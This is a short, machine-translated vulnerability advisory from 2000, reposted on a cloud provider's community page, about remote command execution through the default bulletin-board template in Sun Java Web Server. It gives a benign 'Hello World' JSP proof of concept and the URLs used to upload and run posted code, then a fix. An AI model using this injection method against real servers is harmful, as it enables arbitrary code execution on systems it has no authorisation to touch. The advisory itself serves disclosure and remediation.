Remote executable command vulnerability in Sun Java Web Server

Source: Internet
Author: User
Tags java web
Remote executable command vulnerability in Sun Java Web Server
Vulnerability release Time: 2000-7-13 17:41:00
Leakage description:
Under the default installation settings of Sun Java Web Server on Solaris and Windows NT. Attackers can remotely execute arbitrary commands by exploiting vulnerabilities in the template program of the bulletin board version.
The vulnerability test method is as follows:
The following example shows how to upload and execute the code, while "Hello World" is displayed on the server ".
Enter the following JSP code to print "Hello World ":
<% String s = "Hello World"; %>
<% = S %>
Use the following announcement to connect to the Post code:
Http://jws.site/examples/applications/bboard/bboard_frames.html
Check whether the code is uploaded:
Http://jws.site/board.html
Compile and execute the code by executing the following connection:
Http://jws.site/servlet/com.sun.server.http.pagecompile.jsp.runtime.JspServlet/board.html
Solution method:
Follow the instructions in "How to secure a Web site that uses the Java web Server" in the Java Web Server Manual, or refer to the following link:
Http://www.sun.com/software/jwebserver/faq/jwsca-2000-02.html
Or simply remove these template files installed by default.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.